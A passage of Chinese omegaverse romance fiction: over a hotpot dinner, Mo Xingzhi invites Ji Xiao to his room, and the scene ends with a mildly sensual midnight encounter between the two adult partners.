蓟萧看了他一眼,拿着漏勺把锅里的嫩牛肉捞到墨行知碗里,说:“看哥哥怎么安排。” “如果要在国内发展,我就找一份修车的工作,然后追他。”蓟萧看到墨行知拿筷子的手一顿,继续说,“如果要去国外发展,我就继续修车,然后追他。” “......” “你是修车师傅?”墨行知问。 蓟萧嗯了声,又给他捞了一坨豆腐。 蓟萧在M国有一家专门修超跑的私人修车店。 墨行知看着碗里的食物,几秒后抬起眼直直把人看着:“不用追了,你晚上洗好澡来我房间。” “噗!!” “咳咳咳...” 对面的二人脸被呛得通红。 “怎么这么辣...”骆嘉淮放下碗筷,疯狂给脸扇风。 “不是!”苏樾敲了敲桌子,纯嫉妒,“你好歹也是个顶级O,都不意思一下的嘛?就这样把自己送出去了?!” 蓟萧则怔愣着,瞳孔缓缓放大,虽然脸色未变,但耳根却如火烤。 虽然当时他用‘徐少钦’的身份跟哥哥举办了婚礼,但由于身份证的问题,无法扯证。 所以,他们现在并不是夫妻关系。 然而墨行知一点也不想把时间花在暧昧阶段上。他们从小就绑在一起,又是高契合,彼此都是对方的唯一。 为什么要浪费时间? 可等到晚餐结束,苏樾和骆嘉淮离开,蓟萧却躲在房间里不出来。 墨行知洗好澡,拿着笔记本坐在床上,给自己规划了一下未来。等到脖子发酸,他抬手看了眼表上的时间,才发现,已经是凌晨12点钟。 门边一点动静都没有,隔壁也是静悄悄的。 ......已经睡了吗? 墨行知眨了眨眼,把计划表保存好,关掉笔记本下床,打开房门,直往隔壁走去。 等蓟萧从浴室出来,两个人正好打了个照面。 “哥哥......” 蓟萧身材高大,头发几乎快顶到门框。alpha没有穿上衣,刚洗了澡的雾气从他身后争先恐后地涌出来,麦色的皮肤上有未擦干的水珠,随着时间流动,一颗一颗顺着腹肌滚到胯骨的浴巾里面。 看起来莫名的欲。 墨行知咽了咽干燥的嗓子,没说话,安静地走过去把人堵在洗手间门口。 “怎么了?”蓟萧问完才忽然想起晚饭时对方说过的话。瞬间,他手指猛颤了下,心脏不受控制地加快起来。 面前的omega穿着蓝色真丝睡衣,身上散发着清淡却要人命的花香。蓟萧从收拾碗筷开始脑袋就是一片空白,根本不敢想哥哥的话是真的还是在玩笑,他也不敢问... 空气中云杉和铃兰的信息素在碰撞,试探,纠缠,alpha每一次呼吸都需要极大的毅力。 墨行知脚下抵住蓟萧的鞋子,抬起头,鼻尖似有若无地擦过他的下巴,看到他瞬间紧绷的喉结,轻声开口。 “想你抱。”